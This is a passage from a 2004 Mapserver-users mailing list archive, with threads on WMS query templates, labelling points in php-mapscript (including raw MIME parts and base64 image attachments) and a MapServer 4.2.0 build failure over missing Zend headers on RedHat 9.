DEBUG ON CLASS NAME "Foreign Lands" STYLE MAXSIZE 100 MINSIZE 1 OUTLINECOLOR 0 0 0 SIZE 2 SYMBOL 0 END END END Best regards, Bart > > On Wed, 2 Jun 2004, Kralidis,Tom [Burlington] wrote: > >> Basically, you have to set DUMP TRUE in your LAYER object to enable >> this, as well as setting template header,body,footer. >> At this point, your WMS' GetCapabilities response will advertise your >> queryable layers with an XML attribute of 'queryable="1"', which means >> that a client can query as per the WMS spec. > > I've been through both the WMS howtos a dozen times, but I just can't see > the part that describes how to set up query templates. There's a vague > reference to setting the mime type for query results, but nothing about > how setting up the templates differs from that of a "normal" mapfile. (Am > I just being dense?) > > Here's a layer definition from the WMS server: > > # USA state boundaries > LAYER > NAME states > TYPE polygon > STATUS on > DUMP true > > CONNECTIONTYPE postgis > CONNECTION "user=XXX dbname=XXX password=XXX host=localhost" > DATA "the_geom from states" > > PROJECTION > "init=epsg:4269" > END > METADATA > "wms_title" "states" > END > > CLASS > OUTLINECOLOR 50 50 50 > COLOR 255 255 255 > TEMPLATE "states.html" > END > END > > > It must be partly right, cuz the GetCapabilities does indeed now say that > this is a queryable layer (previously, it did not): > > > states > states > (and so on) > > > > > So I guess the server part is working, so I need to setup the client part, > right? I put these in the client's layer definition, which worked A-OK > when the layer was in a shapefile. Now that the layer is WMS, I just get > the blank template. > > TOLERANCE 4 > TEMPLATE "query_templates/template_states.html" > > > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From marcelito20 at hotmail.com Thu Jun 3 01:05:49 2004 From: marcelito20 at hotmail.com (Marcelo Carrillo) Date: Thu, 3 Jun 2004 03:05:49 -0500 Subject: [Mapserver-users] LABELING DYNAMIC LAYER Message-ID: <40BEDBDD.000003.04844@TRINITY> --------------Boundary-00=_PT3QG6G0000000000000 Content-Type: Multipart/Alternative; boundary="------------Boundary-00=_PT3QBHK0000000000000" --------------Boundary-00=_PT3QBHK0000000000000 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0D Hi,=0D =0D I'm developing a web mapping application with php-mapscript 4.0.1=0D I want to show labels on a dinamic genereted layer I have. I obtain data from a MS SQL server and I'm using the draw method of the PointObj Class.= =0D =0D So, my question is: How do I present the text that I put on the last argument of this method?=0D =0D Thanks, for help.=0D =0D Regards,=0D =0D =0D Marcelo. --------------Boundary-00=_PT3QBHK0000000000000 Content-Type: Text/HTML; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
Hi,
 
I'm developing a web mapping application with php-mapscript 4.0.1
I want to show labels on a dinamic genereted layer I have. I obtain = data from a MS SQL server and I'm using the draw method of the PointObj C= lass.
 
So, my question is: How do I present the text that I put on the last= argument of this method?
 
Thanks, for help.
 
Regards,
 
 
Marcelo.
 
______________________= ______________________________
<= A href=3D"http://www.incredimail.com/redir.asp?ad_id=3D309&lang=3D9">= 3D""  IncrediMail - Email has= finally evolved - = Click Here
--------------Boundary-00=_PT3QBHK0000000000000-- --------------Boundary-00=_PT3QG6G0000000000000 Content-Type: image/gif; name="IMSTP.gif" Content-Transfer-Encoding: base64 Content-ID: <191B08E0-EA1A-4CDC-9878-C8ABC7F06690> R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj 1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5 BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs= --------------Boundary-00=_PT3QG6G0000000000000 Content-Type: Image/jpeg; name="ocean_sunrise2.jpg" Content-ID: <7E9B9F10-EE0B-4FF6-8446-A7C5FB9C0C19> Content-Transfer-Encoding: base64 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 iSs3/wCLT/xv/9k= --------------Boundary-00=_PT3QG6G0000000000000-- From il_vikingo at yahoo.com Thu Jun 3 01:33:19 2004 From: il_vikingo at yahoo.com (Andrea Rossi) Date: Thu, 3 Jun 2004 01:33:19 -0700 (PDT) Subject: [Mapserver-users] Installation Problem Message-ID: <20040603083319.31331.qmail@web12308.mail.yahoo.com> Hello I am trying to install Mapserver 4.2.0 on RedHat9. I have a server Apache 2 and I use PHP 4.3.6 I try to configure ./configure --without-tiff --without-eppl --with-threads --with-proj --with-gdal=/usr/local/bin/gdal-config --with-ogr --with-php=/usr/local/include/php/main --with-gd=/usr/local --with-freetype=/usr/bin --with-pdf --with-ming --with-wmsclient --with-wfs --with-wfsclient and everything seems ok, but when I launch the make command, I have the problem: make[1]: Entering directory `/usr/local/src/mapserver-4.2.0/mapscript/php3' gcc -fPIC -O2 -Wall -DCOMPILE_DL=1 -DPHP4 -DUSE_WMS_LYR -DUSE_WFS_LYR -DUSE_WFS_SVR -DUSE_WMS_SVR -DUSE_MING_FLASH -DUSE_GDAL -DUSE_OGR -DUSE_THREAD -DUSE_PROJ -DUSE_PROJ_API_H -DUSE_PDF -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -I/usr/local/src/mapserver-4.2.0 -I/usr/local/include -I/usr/local/include -I/usr/local/include -I/usr/local/include/php/main -I/usr/local/include/php/main/dl -I/usr/local/include/php/main/main -I/usr/local/include/php/main/Zend -I/usr/local/include/php/main/include -I/usr/local/include/php/main/TSRM -c -o php_mapscript_util.o php_mapscript_util.c In file included from php_mapscript_util.h:61, from php_mapscript_util.c:104: /usr/local/include/php/main/php.h:34:18: zend.h: No such file or directory /usr/local/include/php/main/php.h:35:24: zend_qsort.h: No such file or directory /usr/local/include/php/main/php.h:38:22: zend_API.h: No such file or directory /usr/local/include/php/main/php.h:174:23: zend_hash.h: No such file or directory In file included from 